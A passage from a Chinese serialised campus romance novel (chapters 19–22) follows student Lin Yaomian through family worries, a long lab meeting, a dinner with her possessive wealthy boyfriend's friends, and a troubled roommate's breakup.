叶教授在京大是出了名的会捞学生,遇上这样的教授还能挂科,可能考场上连半张试卷都没写完。
林杳眠认真地叮嘱他:“你还是早点回去准备补考吧。这些内容很重要,你以后也会用到。”
正好遇上路口红灯,宋淮靳暂停脚步,转过头盯住她:“部长说你数学很好。”
林杳眠完全不记得康欣妍有在他面前说过这回事儿。
宋淮靳又说:“你之前还给过别人学习建议。”
她更想不起来他说的哪个人。
“你不觉得这种情况下,我同时挂了两门数学,你也很丢脸吗?”
他在颠倒是非方面是一把好手。
但林杳眠这次没有被绕进去,没好气地说:“你上学期挂的科,怎么又跟我有关系了?难道不应该是你自己没用心吗?”
宋淮靳诡辩似地提醒她:“我是你负责的。”
她负责的分明是新闻部的迎新工作,不是他的数学辅导。林杳眠没来得及纠正他,听见外婆忽然出声:
“杳杳,绿灯,走了。”
康欣妍和袁曼香,还有一些关系近一点的同学会用眠的叠词叫她,因为这是名字里最后一个字。
只有家里人会用中间字叫她。
如果放在高中听到这两个字,林杳眠会惊喜于外婆还记得她,慢慢地才发现事实并非如此。她的小名和南街的油条店一样,被储存在海马体区,非常单纯的记忆词汇。受到外界的特定刺激以后,词语会从外婆口中冒出来。
比如早餐、早饭会让外婆想起几个店名。
但林杳眠还不知道是什么刺激会让外婆想起她的小名。根据蒋悦的说法,她不在家的时候,外婆偶尔也会对别人喊杳杳,外婆不能把名字和人对上号。
这个字当初是外婆取的。杳字在芜川方言里,听起来像幺,最小的孩子,最宝贝的孩子。
杳杳无声,所以林杳眠和外婆期待的一样,长成了淡泊安静的性格。
19. 今非昔比
宋淮靳不情愿地回了京市。
林杳眠还是在书桌前正对那张时间表,变化还是产生了。手机里随时都有回不完的消息。宋淮靳每天像打卡一样问她一遍,能不能改签机票早点回学校。
她干脆利落地拒绝了这个请求。几天时间而已,有什么好改签的。
终于等到起飞前一天,蒋悦罕见地在晚饭时间提起另外一个话题,问林建峰准备什么时候申请调动回国。
“你不是说当时跟你一起派出去的老张头前年就回国了吗?你也跟上头商量商量,看什么时候调回来。杳杳还没上初中你就出去了,这一转眼杳杳都大二了,再等过两年就毕业了。”
林建峰夹菜的动作顿住,乐呵呵地笑:“这不是时间过得快吗。等几年吧,过几年身体不行了再说调动的事。趁现在还跑得动,能多干几个工程就多干几个。”
蒋悦轻轻叹口气,这个话题被一带而过。
林杳眠失望地低下头,继续一声不吭地扒着碗里的饭。
晚上,林杳眠在和宋淮靳通电话的时候比以往更安静。因为旧房的隔音效果差,她说话必须压低音量,防止隔壁主卧的家长听出来。再加上性格使然,两个人在通话时,宋淮靳的话明显会过于她。
他每天都有新的事抱怨。刚回去的第一天是好像在芜川吃什么过敏了,林杳眠当时很担心地问他需不需要去医院。他轻飘飘地回答不是很严重。
过两天又变成一个人在家好无聊,没有人陪。
今天宋淮靳又语气嫌怨地说了一大堆话,但林杳眠没有听进去,她心里还装着饭桌上的话题。
低头用筷子穿在米粒之间,她听见林建峰的回答,很难过。
林杳眠突然出声:“宋淮靳。”
“嗯?”
被打断以后,语气里浅淡又迷茫的疑问。
林杳眠想问他,以前他在国外,家人都不在身边的情况下,一个人是怎么过来的。她仿佛遇到了相同的困境。
他看起来并没有因为这种困境受到任何影响,他谈起那些中学时代不光彩的往事,表情依旧生动,眉毛上扬。
共享负面情绪远比共享快乐困难。
林杳眠话卡在嘴边,迟迟说不出口。
过了很久,她小声往下说:“你刚刚说什么?我没有听清楚。”
她又在走神,注意力不在他这儿。
那种讨厌的感觉蹿进身体。宋淮靳不加思索地表达了他的不满:“我刚才说那么多你都没有听进去。”
随即又开始卖惨。
“我说,我下午踢球,腿受伤了。”
林杳眠啊一声,在床上坐直身子,紧张地问:“严重吗?去过医院了吗?”
她想到明天的航班,说:“要不你在家休息吧,不用来接我了,我坐地铁回学校。”
宋淮靳立刻否定道:“只是皮外伤,又不是骨折。我已经处理好伤口了。”
*
二月的京市依旧被寒冷裹挟,白气刚出口就被风吹散了。但天气难得放晴,太阳透过云层平铺而下,在浅灰色的建筑周围洒下一层金光。
林杳眠又一次踏进了浅色风格的公寓,摒弃掉拘束,她对这间公寓开始有更多了解。
宽敞奢华的厨房不过是纯摆设,灶台上一滴油污也没有,不是因为阿姨打扫得干净,而是从来没有使用过。双开门冰箱也冷冷清清,侧门放着一排苏打水。
晚饭时间一到,李阿姨按响门铃,送来做好的饭菜。小盅小盅的美食摆在林杳眠面前,看得她眼花缭乱。
吃饭期间,宋淮靳接到了一通电话,他面无表情地挂断,挂断,再挂断。
林杳眠也注意到这件事:“你不接吗?”
宋淮靳把手机扔到一边:“吃完饭再说。”
用完餐,李阿姨迅速打扫干净桌面,给林杳眠留了碗小吊梨汤。
“这个你慢慢喝。你喝完以后碗放在水槽就行,明天我再来收拾。”
李阿姨关门离开前,又和她开玩笑似地说:“小宋专门打电话让我多准备点缓和的。幸好有你在,我的厨艺才有发挥空间。”
面前的汤汁梨肉软糯,银耳滑嫩,带着淡淡的果香,清甜不腻。
楼上楼下,隔着距离,拿着汤勺的林杳眠却隐隐约约听见宋淮靳的声音。
远超正常说话的音量,似乎在和人吵架。
她竖起耳朵,想要确认是他在说话,嘈杂声又消失了。
宋淮靳从楼上走下来,表情如常,他看一眼玄关处:“李阿姨走了吗?”
林杳眠把碗放进水槽,重复一遍李阿姨临走前的话。
宋淮靳拽她到沙发旁边,笑着说:“我不能吃的东西太多了。李阿姨五大菜系都会做,但我大部分都不能吃。”
陈墨宇在这件事上费了很多心思,精英人士可以擅长应对数字繁杂的财务报表,但对找一个合适的保姆阿姨需要参考什么条件一无所知。所以导致一开始来的几个做饭阿姨对麸质过敏不够了解,宋淮靳反反复复吃药。直到李阿姨上任,她在国外呆过,外国人的过敏史远比中国人多,所以更有经验。
“这样啊。你刚刚在楼上说话声音很大。”
“影响到你了吗?我下次会注意。”
陈墨宇表面是他的生活助理,本质上和间谍没区别。但或许是为了让他爸过个好年,陈墨宇等到年后才把他的考试成绩告知了钟屹远。
父子之间又产生了一次不愉快的对话,但宋淮靳已经对此习以为常了。他觉得真是难为钟屹远,日理万机还有空功夫关心他的高等数学成绩。
但宋淮靳觉得问题不在他,他在英国的时候成绩还不错。但到中国以后,这个考试的难度今非昔比。
林杳眠踌躇要不要说。
“你想问什么?”
目光描摹在他的眉骨轮廓上,林杳眠终于说:“你好像在和人争吵。”
“这个啊。”宋淮靳坦然一笑,“在和我爸吵架。我不是把腿弄伤了吗?他觉得我不该一直弄那么危险的运动。”
林杳眠的视线往下一挪。他穿了条宽松的运动裤,看不出
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来什么,她差点把这回事忘了。
“你腿上的伤怎么样了?”
宋淮靳大大咧咧地把裤子下摆卷起来,露出缠绕在小腿上一层层的白色纱布。
绝非他昨天电话里所谓小伤的流血程度。
“这么严重你不去医院处理吗?”林杳眠看到纱布上星星点点的干涸浅红,担心地抬头。
她杏眼圆睁,眉头微蹙,双眸充满热烈的关切和担心。他最喜欢的眼神,每次被用这样的眼神注视的时候,她的瞳孔里只有他一个人,让他有种泡在温泉的舒适感。
宋淮靳用力拽过林杳眠的手,让她坐在自己腿上,扶住她的腰,笑容浓郁诱人。
“球场上很常见的伤,我以前经历过很多次。”
林杳眠还不习惯这么亲昵的动作,她用手撑在他颈部附近的沙发上,试图保持理智。她说话迷糊,被他的话题带着走:“你喜欢踢足球吗”
“从中学开始就很喜欢,不过我的同学们大多更喜欢马术或者帆船,足球这项运动在英国显得太普通了。”宋淮靳坦诚地说,温热的气息几乎喷到她脸上。
“你呢?”
被提问的林杳眠沉默住。
她呢。
博雅外国语的领导经常把“德智美全面发展”的口号挂在嘴边。但学校场地有限,三四个班级一起上体育课。每周一节的体育课,女生们坐在看台上,手里拿着明天要抽背的课文,观看一群男生商量如何合理地瓜分场地。
林杳眠以前认为,她的高中生活充实饱满。实际上高考一结束,进入大学以后,那些斑斓的回忆开始逐渐褪色,多数时间其实在重复相同的事。
曾经以为的终点成为新的起点。
宋淮靳松开一只手,转移到她的背部,用力往下一摁,然后重重在她纤细的脖颈旁咬了一口:“你怎么又想别的事?”
尖锐的触感让林杳眠身形一颤,她被迫环住他的脖子,瞳孔放大:“疼疼疼,别咬。我今天晚上还要回宿舍。”
倘若脖子上留一点痕迹被发现,免不了被袁曼香一阵八卦。
“你今天晚上不要留下来住吗?”宋淮靳的头挪开,正过脸,从上往下凝视她,手在她的背脊上缓慢地游走。
他的眼睛清亮,照得她产生一种眩晕感。
林杳眠在理智和糊涂之间迁延,第一次理智占了上风。
“不了。我和我室友说了今天会返校。”
宋淮靳的手最后停在她后颈,他久久地望着她,眼神里有读不懂的情绪。
林杳眠觉得他又要不高兴了,宋淮靳在这方面的小脾气总是飘忽不定,难以琢磨出规律。
但下一秒,宋淮靳狭长的眼尾翘起来,含着笑说:“没关系,那我晚点送你回宿舍吧。”
林杳眠刚在心里长舒一口气,就听见他的头埋在她的肩膀,下巴蹭起来,开始索要补偿。
“你明天能早点过来吗?我订了一家很出名的日料的午餐。”
“晚上朋友叫我去聚餐,你可以陪我一起吗?他们还没见过你。”
20. 食言
林杳眠走出学校西门,手机里来条微信。实验室的师兄说庄教授临时通知开会,她有空的话可以一起来参加,没有的话之后他把重点内容转发她。
林杳眠想了一会儿,回复道:「好」
她刚一掉头,往计算机实验室楼的方向走。
宋淮靳的电话打了过来。
“你还没到吗?我在等你吃早饭。”
林杳眠的歉意很明显:“实验室那边临时有事,我需要先过去,晚点再来找你可以吗?”
那一端的人陷入静默,片刻后,又换上轻快的语气:“你几点结束?”
师兄并没有说会议会持续多久,但按照以前旁听的经验,不会超过三个小时,正好到中午。
“时间还没确定。还是我开完会去找你吧,然后我们去吃午饭。”
可惜事情没有朝预计的方向发展。
小小的会议室内充满压迫感,庄教授对着投影幕布,目光挨个扫过去,看得在场的博士生和研究生绷直了脊背。
别看庄教授平时和颜悦色,到了严肃的学术问题,说话风格大变,对学生的拷打一点不手软,提出的问题精准又尖锐。
快到十一点,庄教授拿起桌上的保温杯,吹了口热茶,目光在屋内扫一圈,恢复和蔼的模样:“先到这儿...”
坐在林杳眠旁边的师兄长出一口气,还没来得及吸下一口气。
庄教授说:“休息十分钟,我布置下个月的计划。”
林杳眠在桌下拿出手机:「我们教授还没讲完,我可能去不了吃午饭了。你能和餐厅取消预定吗?」
宋淮靳像守在手机旁边似地回复来一个问号。
林杳眠也很苦恼,但眼下又不可能听到半场走人。
「没关系,我等会儿过来接你。」
不像宋淮靳以往的风格,林杳眠以为他至少会闹上两句。对于一些微不足道的小事他会毫无征兆地眼皮下耷,而林杳眠以为他肯定会生气时,他说话又平静如波,让人捉摸不透的脾气。
庄教授很快又开始讲话。
林杳眠潦草地又跟宋淮靳说,不用来接她,她也不知道庄教授还要讲多久。
师兄干脆去拿了瓶易拉罐的汽水,边喝边听。
窗外开始下起雪,像有人在空中撒下白色的碎纸,起初只是零星夹在雨里,过不了一会儿,灰蒙蒙的天密密地飘起雪,窗户玻璃覆着一层寒气。
庄教授终于结束讲话,关上嗡嗡作响了一上午的投影仪,说:“饭点到了,散会吧。下个月就这样按安排,后续等我国外开完会回来再交待。”
林杳眠一边掏出手机,一边咚咚咚地往外面跑。
屏幕上赫然一条消息:「我在楼下等你。」
他这个习惯很让人头疼,一直我行我素。
林杳眠想起当初蒋悦在饭桌上说过的,高中时期的男生以为快自我成年了什么都懂,其实行为模式和一个成年人相差甚远,这个年纪的孩子最难管教,说什么都听不进去。
宋淮靳已经上大学半年多。或许由于以前国外的独自生活经历,林杳眠觉得他在某些时刻看起来比同龄人要成熟一些。
她说过两遍相同的话,还是改变不了他固执的决定。
“你在这儿等多久了?”
林杳眠看见他帽檐上、肩膀上沾染的雪花,一时间心情复杂。她不明白他为什么不能呆在家里等一会儿。林杳眠没有直接问出口,归根结底是她先食言的。
宋淮靳摘下棒球帽,抖掉上面的雪花,没有回答她的问题。他径直牵起她的手,往前走。
他的眼神看向前方,但嘴里的话是对她说的:“中午的餐厅预约我已经取消了。我刚才让李阿姨重新做了饭菜送过来。我们晚上再出去吃吧。”
林杳眠确定以及肯定,他之前在短信里的温和态度全是演出来的。
“你生气了。”
“我现在不想说这个。我想回家洗个澡,然后陪你吃饭。”
林杳眠才发现他肩膀上不光有寥寥的雪花,还是湿的,因为深色外套上的水痕不容易被发现罢了。
*
一尘不染的公寓过于安静,自发地带给人一种不安感。长条餐桌上整齐摆放着小份美食,又换了样,有两道红辣辣的菜是西南地区的菜系风格。
洗完澡的宋淮靳从楼上走下来,刚吹干的头发带着微微的潮意。他垂着浓密的睫毛,没有说话。
两个人之间的气氛僵持到了吃饭结束,在林杳眠端起陶瓷碗时,宋淮靳出声:“我来吧。”
林杳眠和他一起把精美的餐具放到厨房的水槽。
为了缓解下气氛,林杳眠半开玩笑地说:“你看起来一点儿都不像会做这种的事。”
宋淮靳正在洗手,冷到骨子的冰水汹涌而出。他在水柱下冲了很久,才关上水,转过头:“因为我像那种养尊处优什么都不会的大少爷吗?”
气氛反而更加尴尬了,宋淮靳观察林杳眠怔愣的表情,她淡色的唇瓣,小巧的鼻头,小鹿一般的眼睛。
她的刻板印象从一定程度上是正确的。他家里只有
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他做过这种事。
钟屹远不会,集团上上下下所有的员工都等着他话事,他的每一秒都是金钱,早上多睡五分钟可能导致损失百万美元。宋女士也不会,她到哪儿都有十几个人伺候着。
林杳眠嗅到一丝不同寻常的气息,他不喜欢别人这样形容他。
宋淮靳抽出一张厨房纸,缓缓地擦干手,说起另外的仿佛毫不相干的事。
“我和朋友以前经常坐在走廊的地毯下棋,唯一一件舍监不会找我们麻烦的事。我们需要早上六点起床,然后自己穿好麻烦的燕尾服,去餐厅用早餐,吃饭不能发出声音,吃完以后要收拾干净桌面,把餐具放到回收处,不能给厨房的工作人员增添麻烦。虽然我本身就是个麻烦,厨师长都认识我麸质过敏,我的三餐是单独准备的。”
林杳眠没想到宋淮靳光鲜多彩的中学生活中还有和她类似的场景,学校教育在一些本质上是相同的。
他瞳孔的颜色很深,气和上次除夕那天语音通话里听到的一模一样,像被嵌在雪地里,磨平了棱角的冷倦,
林杳眠伸出手,试探性地抱住他结实的腰部。
然后她的后颈被一只手死死地摁住,她听见他胸膛下强劲有力的心跳,仿佛城门之外的鼓。
宋淮靳抱着她坐到沙发上,看向撞上落地窗的雪花,贴上玻璃没多久就融化。
“芜川会下雪吗?”
“不会。”林杳眠从过往记忆中寻找,“也许冬天偶尔会有一两次雨加雪,但气温不够低,雪一落地就化水了。”
“瑞士冬天会下雪。”宋淮靳的下巴搁在她肩膀上,像咬着她耳朵说话,“冬天的苏黎世快被雪淹了,阿尔卑斯山脚下就更不用提了。你喜欢下雪天吗?”
他瞳孔的颜色也很深。
林杳眠点点头,耳垂蹭到他的嘴唇,触电般的痒意让她一哆嗦。
宋淮靳发现了她的敏感点,使坏似地舔过去,说话也变得愉快:“那以后找个冬天去吧。”
两个人在这一刻默契地没有吭声,仿佛都同意了这个约定。
林杳眠觉得瑞士是一个太遥远的、存在于地图和社交媒体上的地方。
而宋淮靳也没有说,阿尔卑斯山脚下镶嵌了他一次又一次的失望,那个时候他还小,不知道这种感觉叫孤单。
每个人人生下来,追寻快乐是一种本能。只有吃过苦的人才会忍耐,经历越多,越能忍。
后来搬去苏黎世,城市中古典与现代交融得恰到好处,冬季漫天飞雪之际,他已经学会了一个人独处。
21. 忍耐
晚高峰的车流在环线上淤积,红色的刹车灯成一条闪烁刺眼的河流,喇叭声此起彼伏。
这座城市的交通早已病入膏肓,外面的人依旧想尽办法往里挤。
林杳眠坐在副驾驶上被摇得昏昏欲睡,路上堵了近一个小时,他们才到达目的地。
法式餐厅的灯光昏暗柔和,水晶吊灯垂在挑高的天花板上,铺着暗色桌布的桌上,烛台光影跳跃,氛围感扑面而来。
林杳眠看到围在长桌的一圈人,少数几个在场的女生穿着风格各异的裙子,打扮得漂漂亮亮。她突然有点后悔答应和宋淮靳出来见他的朋友。
他没有说过是这么正式的餐厅。林杳眠还以为是很普通的聚会,早上出门的时候在羽绒服里搭了一件宽松的水泥灰羊绒毛衣和一条简单的牛仔裤,妆画得淡,下午唇釉还被某人啃花了。
宋淮靳出门前也不过换了一身黑色的休闲装,但他的脸蛋太引人注目,一身休闲打扮也穿出高级冷感。
何况女生的妆扮程度远比男生复杂。
林杳眠在暗处用力掐了下宋淮靳的手。
他回过头,眼神疑惑地看她。
宋淮靳给林杳眠介绍完在场的朋友,他免不了被人一阵起哄。
林杳眠觉得堵车不失为半件好事,来晚了可以坐在无人在意的角落。
离她近的几个人在讨论一些话题。林杳眠参与不进去。公司上市,IPO申请,A股和美股,每个人张口闭口跟巴菲特附体似的。
林杳眠偏头看过去,壁灯在墙壁上投下光影。宋淮靳坐在长桌的那一头,被另外的人围住。
他的目光和她对上,嘴角一勾,冲她露出迷人的微笑,灯光隐隐绰绰,伴着一种忽近忽远的朦胧感。
她一直知道,他走到哪儿都受欢迎。
宋淮靳照例跟点餐的服务员交待一大堆,然后翻到饮料那一页,他侧头问:“你要试试起泡酒吗?他们说这家的起泡酒很好喝。”
“算了吧,我酒精过敏。”林杳眠翻到菜单的下一页,准备找找有没有果汁。
服务员很上道地接话:“我们这里有无酒精的起泡酒可以选哦,很适合女士。”
林杳眠的视线从菜单往上挪,撞进宋淮靳的目光,她下意识点头:“好吧。”
等服务员收走菜单,宋淮靳依然注视她:“你从来没有跟我说过这件事。”
“又不是什么重要的事。”
酒精过敏在人群中的发生频率远高于麸质过敏。而且她上一次过敏都多少年前了,体质是可能随年龄变化的,现在还不一定说得准。
宋淮靳反驳她一句:“明明是很重要的事。”
林杳眠对法餐没有研究,但这种无视性价比的餐厅再怎么样不会难吃到哪去。她一边听着那些高大上的对话,一边品尝苹果起泡酒的清爽酸甜。
一顿美味的餐点结束,从餐厅里出来,林杳眠在门口看见一个意料之外的人。
叶佳媛上次摔门离开寝室后,再也没有回来过。但袁曼香说上专业课遇见过她几次。
现在这位消失的室友牢牢攥住一个男生的胳膊:“你是不是真的要分手?”
“你有完没完?我俩都分分合合多少次了,再这样下去有什么意思?”男生不耐烦地拨开叶佳媛的手。
“是我想分吗!不是因为你在外面乱搞加人微信跟人聊吗?要不要现在你拿出手机看看发的都是什么图?”
“叶佳媛你差不多得了,你以为你就很清高吗。当初你自己说的你爸叫什么名字,你看看你爸认你吗?你爸在生意上从来都说自己有一个儿子,他只认你弟。”
“你闭嘴,他才不是我弟!”尖锐的语调划破空气。
两个人的对话密集又炸裂,信息量过大。
林杳眠想起叶佳媛在寝室甩下的最后一句话。
“对啊,我就是有妈生没爸养的东西。”
这句话原来是真的,难怪当时叶佳媛反应强烈,一副要吃人的眼神。
这么尴尬的场景,早知道去趟卫生间再出来了。林杳眠想。她往左侧走,希望绕开纠缠的两个人,就当什么都没看见。
结果晚一步的宋淮靳从玻璃门出来,看她一副做贼逃跑的样子,皱起眉头叫她名字:“林杳眠,你干嘛?”
林杳眠觉得吃饭前掐他那一下应该再用力一点。他的眼睛跟没长一样,看不见门口在上演爱恨情仇的一幕。
同时她又庆幸面前有一块广告立牌遮挡,从她的角度看不见叶佳媛,根据光的物理原理,叶佳媛也不会看见她。
听见宋淮靳的声音,背对门口的男生停下和叶佳媛的拉扯,换了个语气,笑嘻嘻地问:“靳哥,晚上吃饭多少钱?回头我群里转你。”
宋淮靳冷淡地回答:“不用了,上次聚会连宇请的,这次该我了。”
“那你们要走了吗?不再去喝两杯?”
“你们喝吧,我女朋友酒精过敏,我带她先回去了。”
“好好好,那你们路上注意安全。”
宋淮靳帮林杳眠系好安全带,身子没有退回驾驶位。
林杳眠还在沉浸在刚刚看到的狗血场景。
在她注意力最薄弱的时刻,宋淮靳含住她的嘴唇,撕咬在湿润的口感上。
林杳眠尝了干净的薄荷的味道。
他太有心机了,晚一步的功夫不光是结账买单,还去了趟卫生间,回来路上肯定还在柜台上顺手拿了颗糖。
薄荷和苹果的味道完美混合在一起,冲散在她的舌尖。
林杳眠要喘上不去气了,她抵触着推了一下,没想到宋淮靳居然真的退了出去。
她大脑发懵,他今天怎么能这么顺从。
外面的光打在他半明半暗的轮廓上,诱惑人心的眼尾上翘弧度,他又在笑。
林杳眠确信晚餐的起泡酒不含酒精,但她现在有一种走在云端的失重感和愉悦感,无法控制自我平衡,像喝醉了一样。
宋淮靳轻轻啄了她的嘴唇,抵在她的额头上,拉近两个人双眼之间的距离,用比平常更低沉的声音问她:“今天晚上去我那儿,好不好?”
*
雄性是没有下限的生物,会不断试探目标的底线。
“我上次睡在沙发上感冒了。”
“可以抱一下吗?”
宋淮靳先
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争取到了两个人盖同一床被子的权利,下一步就是搂上她的腰,然后手渐渐不老实起来。
“你让阿姨把客卧收出来。”林杳眠担心下次又被喂什么迷魂汤,鬼迷心窍答应他的请求,他总有各种办法。
宋淮靳想都没想就拒绝:“不要。”
侧腰一阵又一阵痒。林杳眠按住他的小臂,严肃警告他:“你再这样,我去睡沙发了。”
宋淮靳这才停下小动作,嘴贴在她的后颈,一点一点蹭过去,好像要发出大猫一般舒服的咕噜声。他蹭到她耳边,悄悄说:“你现在穿我的衣服。”
他的衣服领口宽松,轻轻一拉,她的半侧肩膀暴露在空气中。
湿漉漉的。
林杳眠整个人一哆嗦,觉察到大腿出不正常的温度,他身上的热量源源不断。她感觉背上出汗了,危险的信号在大脑里闪过去。林杳眠抓住他小臂的手更用力,说话也带着颤音:“宋淮靳,你好好睡觉…”
宋淮靳对她的反应很不乐意:“你在怕什么?我又不会吃了你。”
林杳眠对他的承诺根本不信,他之前连她的话都听不进去。
“不行,我要去睡沙发。”
林杳眠试图翻起身,但她的腰被人死死扣住。跟男性的力量一比,她的力道过于渺小,何况他是常年爱好运动的成年男性。
宋淮靳扳过她的身子,强行让她和自己对视,她的小鹿眼睛装着惊惶。
他松开一些力道,说:“我都跟你保证过了,你不愿意的话,我不会也不可能做那种事。”
她的想法猜都不用猜,摆明在脸上的。
宋淮靳迅速认知到这个事实,他先是一愣,随即彻底松开怀里的人。
他其实是一个很能忍的人,不局限于孤独和痛苦,还有欲望。
但她不相信他。
“为什么?”
黑暗中他的声音格外清晰、平静,像小粒石子投进水面,漂几下,沉入深不见底的湖底。
她的想法显而易见,但宋淮靳弄不明白为什么。就像他知道她在走神,但不知道原因,她脑子里想的什么事,或者什么人。
林杳眠错会了他的意思,以为他在说睡沙发这件事,微弱地说:“我真的想睡觉,我今天很累,上午一直在开会…”
她下午就想睡觉,但宋淮靳一直抱着她。好不容易在堵车的时候缓过点神,吃完晚饭,那股疲惫劲儿又上来了。
“我说的不是这件事。”
宋淮靳止住话,因为林杳眠的声音听起来的确很累。
他沉默一会儿,开口:“我跟你说的每句话都是认真的,没有骗你的意思。”
他很喜欢她。
他想每时每刻和她呆在一起。
虽然他在有些事上用了不光彩的手段。
累一天又被亲得晕晕沉沉的林杳眠迷迷糊地回答他:“我知道。”
但她并没有深入思考这句话的含义。
宋淮靳的手又伸过来,从指缝中穿过去,扣住她的手。
林杳眠半梦半醒间觉得一直被人抓住,手心都出汗了,下意识想抽开。
反而被抓得更紧。
22. 双喜临门
推开门,寝室里只有叶佳媛一个人坐在书桌前。她没有化妆,失去铠甲般的烟熏妆容,整张脸在枯黄卷发的衬托下,面色显得更加憔悴。
她靠在椅子上玩手机,一听见门声,立马转过头。更像坐在那儿,专门等林杳眠回来。
果不其然,林杳眠刚关上门。叶佳媛寸步不离地看她,下巴绷紧地问:“昨天晚上你在哪儿?”
叶佳媛还是看到她了。
林杳眠觉得真倒霉。换作别人被人撞见如此尴尬的一幕,估计早埋头不吭声了,偏偏叶佳媛坐在那儿还用一副质问的语气说话。
“和朋友吃饭。”
“男朋友?”叶佳媛鼻子里哼出一声笑,精准地念出餐厅的地址,“你昨晚在这儿吃饭,对不对?”
不等林杳眠说话,叶佳媛又问:“你看到了多少?”
林杳眠花了十秒钟想是要说实话,还是选择无视,假装什么不知道。她对叶佳媛的狗血事没有兴趣,更不会拿这个落井下石。
大学宿舍分配机制跟抽奖差不多,所以网上吐槽室友的帖子不计其数。林杳眠觉得能跟袁曼香分到一块算得上幸运。叶佳媛不搭理她们也无所谓,反正她平时也不回来住。这种现状能平稳地保持到毕业最好。
当林杳眠还在左右为难的时候,叶佳媛继续自顾自地说:“你都看到了对吧?听到那个傻逼说的话,我是我爸的私生女。好不好笑,我一个私生女比他写在户口本上的儿子还大五岁。我正儿八经进的京大,他儿子连高中都差点没考上,花这么多钱送出去镀金有什么用。”
林杳眠弄懂了,叶佳媛的真实目的不是来质问她,是单纯地找一个人发泄。
叶佳媛目光一变,又昂起下巴,死死盯着林杳眠。她披头散发,神情枯槁,眼睛里带着暗沉的血丝,盯得人毛骨悚然。
网上那些关于乱七八糟室友矛盾的新闻在脑子里一遍遍过。林杳眠的手悄悄搁在背后的门把手上。
“你是不是觉得谈恋爱很高兴?”叶佳媛莫名其妙地笑了下,“那个圈子的男人全是小头控制大头的蠢货。我爸是,我男友,哦不对现在是前男友,他也是。我跟他在一起两年,每个月都能从他手机里面找到新加的。”
“我最后得到什么呢?衣服、鞋子、包包,他最不看重的东西,花钱就能买到,他给谁都能花,根本用不完。林杳眠你觉得这种自私的人真的会喜欢你吗?”
林杳眠现在思考不了这个问题,她觉得叶佳媛目前的状态有点走火入魔了,说话也前言不搭后语。
她一把拧开寝室门,说:“昨天听到的事我不会跟任何人说。分手这件事,你难过的话可以去找学校心理疏导室的老师。我还有节专业必修课,先走了。”
林杳眠走到楼梯口,和值班的宿管说,她们寝室里有位女生今天心情不好,麻烦等会儿帮忙留意下。然后她给袁曼香发消息,说叶佳媛又跟男友分手了,可能后面会回寝室住,她们两个有事微信沟通,别在寝室里刺激她。
袁曼香不清楚情况,还在吐槽叶佳媛拿鼻孔看人的行为。
京市的冷风跟刀似的,吹得人脸生疼。
林杳眠走在光秃秃的大树下,太阳穴突突突地跳。
下课后,林杳眠在手机上拒绝了宋淮靳一起吃晚餐的要求。
「我今天要回宿舍住,找我室友有点事。」
性格直爽的袁曼香上次才和叶佳媛起过冲突,不能让两个人单独呆在同一个房间里。
但她傍晚回到寝室的时候,书桌前空无一人。等到袁曼香在奶茶店结束晚班回来,叶佳媛也没有回来。
林杳眠接连几天住在寝室,一点没见叶佳媛的身影,此前书桌侧面书架上的教材也被全部带走。
似乎叶佳媛短期内不会再回来了,林杳眠的心慢慢放下去。
而且,另外两件更喜悦的事情把这点不愉快冲散了。
师兄告诉她,上学期忙碌的那个项目论文已经进入终审阶段,到这个阶段被拒稿的可能性很低,顺利的话,林杳眠将在一两个月后拥有第一篇写有自己的发表论文,虽然她的名字只排在第三位。
另外一件是,闻妙冬主动来问她,要不要一起参加一个国际性的大学生竞赛。
“我们现在是三个人。你之前不是说你在计算机院那边干活吗?我们正好缺一个了解代码,要是你愿意的话最好不过了。”闻妙冬是这么说的。
“或者你找了其他队友?还是忙不过来?”
这个比赛在国际上很有知名度,获奖可以给奖学金评定加分,对以后申请国外的学校也有好处。
林杳眠想不到任何拒绝的理由,她再忙都可以挤时间,而且上哪儿还能凑到这种竞赛金牌的队友。
“能来能来,你把报名方式和需要的信息发给我就可以。”
这种组队不限专业,闻妙冬完全可以去计算机学院找一个更懂编程的。
难得遇上这种天上掉馅饼的事,林杳眠被砸得有点飘飘然了。别人常说三个臭皮匠顶个诸葛亮,她现在是和三个诸葛亮并肩作战,还是诸葛亮主动邀请的。
林杳眠再看始终马起一张脸的公寓前台都觉得顺眼起来了。
“你怎么这么高兴?”宋淮靳也发现了她眉眼间遮不住的喜悦。
两个人快一周没见过面。他只能通过手机给她消息。林杳眠给他分享过她的课表,排得满满当当,她没有回复的时候,宋淮靳对着屏幕焦虑又烦躁,还找不到法子缓解。
“我师兄的论文进终审了,他带了我的名字。我们班一个超级厉害的女生找我一起参加科创竞赛。”抱上大腿的林杳眠美滋滋地坐在沙发上逛淘宝,一高兴起来,跟着涨的还有购物欲望。
“就你们两个人女生吗?”
林杳眠发现还有购物节折扣,愈发心花怒放:“不是,一共四个人。两个女生,两个男生。”
让人讨厌的性别配置。
宋淮靳低下头,从她手里抽走手机。
“你干嘛?”林杳眠刚选好购物车里要付款的商品。
始作俑者一脸微笑:“你知道我最近在干嘛吗?”
林杳眠当然知道。多亏他每天在微信给她上汇报,今天上课,明天踢球,后天和朋友聚餐喝酒。
在他提到喝酒的时候,林杳眠多问了两句。宋淮靳给她解释,经过良好蒸馏烈酒不会再含有麸质,所以他不会点啤酒。
然后他出去
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喝酒那一天,林杳眠在实验室呆到晚上,一下楼发现被消息轰炸了。林杳眠委婉地告诉宋淮靳,也不用汇报这么具体。
一段恋爱中,信任是最基础的东西。
“你周四不是和你朋友聚餐去了吗?”
宋淮靳的眼尾飞快地垂下去,他盯了她好久,咬字清楚地吭声:“我的两门补考都挂了。”
林杳眠一下子瞳孔放大,确认一遍:“高数和线代?”
宋淮靳点头。
林杳眠用视线描绘他的表情细节上,想分辨出他此刻的心理活动,但宋淮靳刚才的不高兴仿佛是一瞬间的事儿,他现在只是安静地盯着她。
她想了半天,憋出一句安慰的话:“没关系,你下学期好好学再重新考,肯定能考过。”
“你和别人不是这么说的。”
这句话听着耳熟,他上次也这么说。林杳眠跪坐在沙发上,伸出手去够他手里的手机。
“别人是谁?”
“之前和你在同一家店兼职的男生。”
林杳眠震惊了,怎么又扯上江向阳。宋淮靳盯她的眼神像跟家长犯倔的小孩,得不到想要的玩具不罢休。
她硬着头皮回忆什么时候和江向阳讨论过挂科的话题。上学期两个人一起上的那门课,江向阳还比她考得好,去年还在奶茶店兼职,闲聊中也能听出来他成绩很好,和挂科貌似扯不上边。
宋淮靳的眼神越来越深。
巨大压力下,一个人的潜能是无限的。林杳眠终于想起来了,去年刚开学那次,江向阳问她有没有推荐的线性代数课程,被宋淮靳撞见了。
一件半年前鸡毛蒜皮的小事。
